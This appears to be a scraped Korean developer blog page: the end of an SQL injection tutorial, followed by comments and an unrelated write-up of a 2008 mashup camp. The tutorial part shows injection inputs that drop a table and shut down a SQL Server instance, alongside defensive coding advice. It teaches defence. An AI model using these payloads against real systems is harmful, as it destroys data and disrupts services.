    select * from users where username =‘’;drop table foo-- and password=‘’


    공격 9 shutdown

    Username : '; shutdown--

    sql 서버 인스턴스를 shutdown 시킨다.


    결론

    예제들은 sql injection 의 수박 겉핥기식의 일례일 뿐이다.
    공격자가 DB로 부터 얻는 에러가 방대할수록 공격이 쉬워진다.
    advanced sql injection in SQL Server Applications 에는 웹 프로그래밍상의 방어적 코딩 방안이 나와 있다.
       1. Escape single quote
           ‘ (외따옴표)의 escape코드를 이용
       2. Reject known bad input
           select, insert, delete, drop , --, ‘ 등의 있는지 검사
       3. Allow only good input
           abcdefg…ABCDEFG…0123456789 만 허용

    advanced sql injection In SQL Server applications (pdf)
    윈도우 사용자계정 암호를 잊어...
    윈도우를 포맷한 일이 있는 저로썬 ㅠㅠ
    꼭 필요한 가이드입니다.

    ㅡ.ㅡ 이렇게 해본것 같기도 한데... 쩝쩝



    출처 : 보안뉴스

    '개발자가 뭐길래' 카테고리의 다른 글

    여자개발자모임 제1회 릴레이 세미나  (7) 2008.02.03
    SQL injection  (6) 2008.01.23
    2008년 korea mashup 캠프 참가 후기  (8) 2008.01.14
    HMM 관련 논문  (0) 2008.01.08
    MHI를 이용한 졸업작품 실행영상  (0) 2008.01.08
    1월 12일 토요일 양재동 다음에서 Mashup 캠프가 열렸습니다.
    http://mashupkorea.org/
    사용자 삽입 이미지
    매쉬업이란

    서로 다른 내용(사이트에서 제공되는 컨텐츠는 물론 서비스까지도)들을 섞고(Mix) 조합(Match)하여 좀더 가치 있는 서비스나 컨텐츠를 만들어 내는(Make) 모든 작업
    이라고 하네요 (출처 : http://ez2web.com/blog/read.asp?seqPost=84 )

    참여조건에 웹프로그래밍 언어의 기본을 알고 있는 사람이라는데
    관심은 많은데 웹프로그래머가 아닌지라, 갈까 말까 많이 고민했어요.
    하지만 경품으로 네이버 모자를 준다는 말에 결국
    가기 전날까지 급 php 스터디를 했지요;
    이렇게 웹프로그래밍에 입문~

    오전엔 네이버, 옥션, 다음에서 오픈 api에 대한 소개를 해주었구요,
    점심엔 아웃백이 제공되었어요. ㅠㅠ 근근히 먹고 사는 우리는 매우 감격!
    다시 다음으로 돌아와 야후 api 소개를 듣고,
    10대 과제 중 관심 있는 분야를 찾아 들어가 멘토와 함께 프로젝트를 하는 시간을 가졌습니다.
    멘토님들 소개를 듣다 보니 하고 싶은게 많아 어디로 들어갈까 고민하다가
    양주일님의 flex방으로 들어갔는데, 개인 지도 과외받는 느낌이었습니다.
    플랙스 sdk 설치부터 xml 로딩, 검색, 그림파일 제어, open api 사용 방법등을 배웠습니다.
    그리고 좋은 아이디어도 소개해 주셨구요.. ^^

    다음 오픈 api : http://dna.daum.net/apis
    네이버 오픈 api : http://openapi.naver.com

    오픈 api를 이용하기 위해서는 각 사이트에 가입하고 (보통은 이미 가입되어 있겠지만)
    이용등록을 하고 key를 발급 받으면 됩니다.

    사용자 삽입 이미지

    다음다운 색동 휴게실


    사용자 삽입 이미지
    매쉬업10대 과제

    자는게
    멘토링이 거의 끝날 무렵인데 제가 배경으로 나왔길래 퍼왔습니다.
    찍을때 후레쉬가 펑! 터져서 전 눈감고 나올줄 알았어요.
    다른 사람들은 어떻게 다 멀쩡하게 나왔지--?
    출처 : phploveme

    사용자 삽입 이미지
    10시부처 5시까지 모든 과정을 무사히 마치고 경품 추첨시간이 돌아왔습니다.
    맨 앞에 앉았더니 한번 뽑게 기회를 주셔서 뽑았는데.. 그 사진이 올라와 있기에 또 퍼왔어요.
    전 27번이었는데요..
    추첨할때마다 27번27번27번27번27번27번27번을 외웠지만..
    이번엔 꽝이었네요~ ㅎㅎ

    사용자 삽입 이미지

    매쉬업 캠프 마인드맵

    여튼 여러모로 재밌고 알찬 시간이었구요,
    이번을 계기로 해보고 싶은 것이 생겼다는 점이 가장 큰 수확이었습니다. ^^

    '개발자가 뭐길래' 카테고리의 다른 글

    SQL injection  (6) 2008.01.23
    윈도우 사용자계정 암호를 잊어버렸다면?  (1) 2008.01.23
    HMM 관련 논문  (0) 2008.01.08
    MHI를 이용한 졸업작품 실행영상  (0) 2008.01.08
    여자 개발자 송년회  (4) 2007.12.30